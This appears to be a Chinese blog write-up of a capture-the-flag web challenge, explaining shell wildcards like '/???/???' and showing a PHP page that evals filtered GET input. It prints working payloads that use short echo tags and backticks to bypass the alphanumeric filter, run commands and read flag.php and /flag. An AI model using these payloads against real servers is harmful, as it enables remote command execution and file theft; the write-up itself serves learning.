Linux中的正则

安恒杯月赛的一道web题,拿过来学习一下。
在linux中,如果我们想查询某些文件又记不得具体名字的时候,可以利用正则来进行查询和执行命令。
eg:
/???/??? => /bin/cat (这里我在kali和centos7中都测试了,记得centos7中为 /bin/awp)
$ /???/??? /???/???/????/?????.??? => /bin/cat /var/www/html/index.php(apache默认安装的情况)

正则的利用

1
2
3
4
5
$ ls
evi1 tools projects
$ cd ./???? //进入evi1文件夹
$ pwd
**********/evi1

利用元字符’?’执行linux命令及搜寻文件名。
如果目录中存在存在 ‘abcd’目录,则以上命令会进入’abcd’目录。这是因为利用元字符操作的时候,第一个每一问号都会从a-z顺序去匹配,如果匹配到了就换下一位,以此类推。这也就说明了为什么在centos7中执行/???/??? => /bin/awp 的原因了。kali中/bin目录下 首字母最靠前的只有’c’,因此/???/??? => /bin/cat。

题目解析

访问web题目地址,源码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

代码清晰易懂,直接构造命令执行payload。
在php中可以利用<?=?>来输出。因此payload为: ?><?=?>,这里的知识点有两个。
一是前面说的利用<?=$_?>来输出,二是在php中反引号可以用来执行命令。
payload: ?><?=`/???/???%20/???/???/????/*`?>
代入payload可以得到flag.php的源码,如下:

1
2
3
4
function getFlag(){
$flag = file_get_contents('/flag');
echo $flag;
}

直接读取flag。
payload: ?><?=`/???/???%20./????`?> //得到flag

这道题很极限,学到了新姿势,希望自己更进一步。

文章目录
  1. 1. 正则的利用
  2. 2. 题目解析